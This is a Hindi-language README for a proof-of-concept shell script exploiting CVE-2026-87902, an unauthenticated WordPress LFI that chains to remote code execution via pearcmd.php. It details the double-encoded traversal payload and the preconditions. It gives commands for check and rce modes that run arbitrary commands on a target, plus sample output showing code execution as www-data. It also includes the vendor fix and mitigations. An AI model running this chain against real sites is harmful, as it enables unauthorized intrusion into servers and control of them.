CVE-2026-87902 के लिए Shell PoC, जो page-template resolution के माध्यम से एक unauthenticated WordPress core LFI है जो pearcmd.php के ज़रिए RCE से जुड़ता है।
| घटक | WordPress कोर (wp-includes/template.php) |
| प्रकार | CWE-98 — PHP फ़ाइल इन्क्लूज़न (LFI → RCE) |
| प्रभावित | WordPress < 7.1.2 (7.0 ब्रांच 7.0.6 में ठीक; 6.x बैकपोर्ट ब्रांच-निर्भर) |
| ठीक किया गया | 7.1.2 / 7.0.6 |
| CVE | CVE-2026-87902 — CVSS 3.1 8.1 (AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H) |
| PoC | poc.sh |
get_page_template() पेज टेम्पलेट पदानुक्रम में page-{urldecode(pagename)}.php जोड़ता है जब
pagename क्वेरी वेरिएबल में प्रतिशत-एन्कोडेड अक्षर होते हैं, और locate_template()
file_exists() / require के साथ उम्मीदवार को रिज़ॉल्व करता है, बिना यह सत्यापित किए कि पथ
सक्रिय थीम के अंदर ही रहता है। इसलिए एक अनधिकृत हमलावर सक्रिय थीम के बाहर किसी चुनी हुई
पठनीय लोकल .php फ़ाइल को इन्क्लूड और एक्ज़ीक्यूट कर सकता है।
पूर्व-शर्तें:
< 7.1.2।page- से शुरू होने वाली एक टॉप-लेवल डायरेक्टरी हो (जैसे आधिकारिक
Twenty Fourteen में page-templates/ होती है)। टेम्पलेट नाम हमेशा page- से प्रीफ़िक्स होता है,
इसलिए पहला पथ घटक मौजूद होना चाहिए।पेलोड डबल-एन्कोडेड है ताकि sanitize_title_for_query() %2e/%2f ऑक्टेट्स को सुरक्षित रखे;
get_page_template() के अंदर urldecode() फिर टेम्पलेट-रिज़ॉल्यूशन के समय ../ को पुनर्निर्मित करता है।
यदि सर्वर पर एक पहुँचने योग्य pearcmd.php और register_argc_argv = On (आधिकारिक PHP इमेज में
डिफ़ॉल्ट) भी है, तो चेन रिमोट कोड एक्ज़ीक्यूशन तक बढ़ जाती है: क्वेरी स्ट्रिंग + सेपरेटर के
माध्यम से CLI argv बन जाती है, pear config-create एक हमलावर-नियंत्रित .php फ़ाइल लिखता है,
और वही LFI उसे इन्क्लूड कर लेता है।
# Interactive menu (recommended for a quick start)
./poc.sh
# 1) Detect the LFI (read-only)
./poc.sh check --target https://example.com
# 2) Detect the LFI and test the RCE preconditions (self-deleting payload)
./poc.sh check-rce --target https://example.com --authorized
# 3) Execute a command through the chain (self-deleting payload)
./poc.sh rce --target https://example.com --authorized --cmd "id;hostname"
विकल्प: --page-id N, --ups N, --pearcmd PATH, --timeout N। किसी भी ऐसे मोड के लिए
--authorized (या VDP_AUTHORIZED=1) आवश्यक है जो लिख सकता है जब लक्ष्य localhost न हो।
check)== CVE-2026-87902 PoC (check) ==
target: https://example.com
[1] Discovering a public page ID
[info] page_id: 17
[info] baseline: POST /?page_id=17 -> 52377 bytes
[2] Testing the LFI (read-only include of wp-includes/version.php)
[PASS] VULNERABLE: included wp-includes/version.php from outside the theme (0-byte body vs 52377-byte page)
[info] theme directory: page-templates/ traversal depth to webroot: 4
[info] second file confirmed: wp-admin/install.php executed (static string returned)
== RESULT: VULNERABLE to CVE-2026-87902 (LFI confirmed) ==
check-rce / rce)[3] Testing the LFI-to-RCE chain (self-deleting payload)
[PASS] pearcmd.php executed via the LFI (usr/local/lib/php/pearcmd, root depth 7)
[PASS] RCE CONFIRMED: command output returned (uid/gid present)
[info] payload self-deleted (cleanup verified)
[4] Executing command: id;hostname;whoami
> uid=33(www-data) gid=33(www-data) groups=33(www-data)
> 4119cb19757f
> www-data
यदि LFI की पुष्टि हो जाती है लेकिन PEAR अनुपस्थित है (या register_argc_argv Off है), तो स्क्रिप्ट
पूर्व-शर्त को स्पष्ट रूप से रिपोर्ट करती है और कुछ भी लिखे बिना बाहर निकल जाती है (exit 3)।
page-* थीम डायरेक्टरी और ट्रैवर्सल डेप्थ के लिए, pagename पैरामीटर के
माध्यम से page-<dir>/../../…/wp-includes/version.php का अनुरोध करें
(POST, खाली बॉडी — आवश्यक क्योंकि WordPress पहले GET/HEAD को कैनोनिकल-रीडायरेक्ट करता है)।200 रिस्पॉन्स (मल्टी-KB पेज बेसलाइन की तुलना में) इन्क्लूज़न को सिद्ध करता है।pear config-create का प्रयास करें, फिर
अनुरोध में दिए गए कमांड के साथ लिखी गई फ़ाइल को इन्क्लूड करें।7.1.2 में विक्रेता फ़िक्स (wp-includes/template.php):
- if ( $pagename_decoded !== $pagename ) {
+ if ( $pagename_decoded !== $pagename && 0 === validate_file( $pagename_decoded ) ) {
साथ ही locate_template() में एक realpath() कंटेनमेंट चेक
(_wp_is_template_path_allowed())। wordpress-7.0.6 में बाइट-समान फ़िक्स मौजूद है।
.., %2e%2e, %252e%252e) वाले pagename
मानों को अस्वीकार करें, या page-* थीम डायरेक्टरी पूर्व-शर्त को हटा दें।केवल अधिकृत सुरक्षा परीक्षण के लिए। RCE मोड एक स्व-हटाने वाले पेलोड का उपयोग करते हैं और अपनी अस्थायी मार्कर फ़ाइल से परे कभी कुछ नहीं लिखते, लेकिन वे फिर भी लक्ष्य पर कमांड एक्ज़ीक्यूट करते हैं — इन्हें केवल वहीं चलाएँ जहाँ आपके पास स्पष्ट अनुमति हो।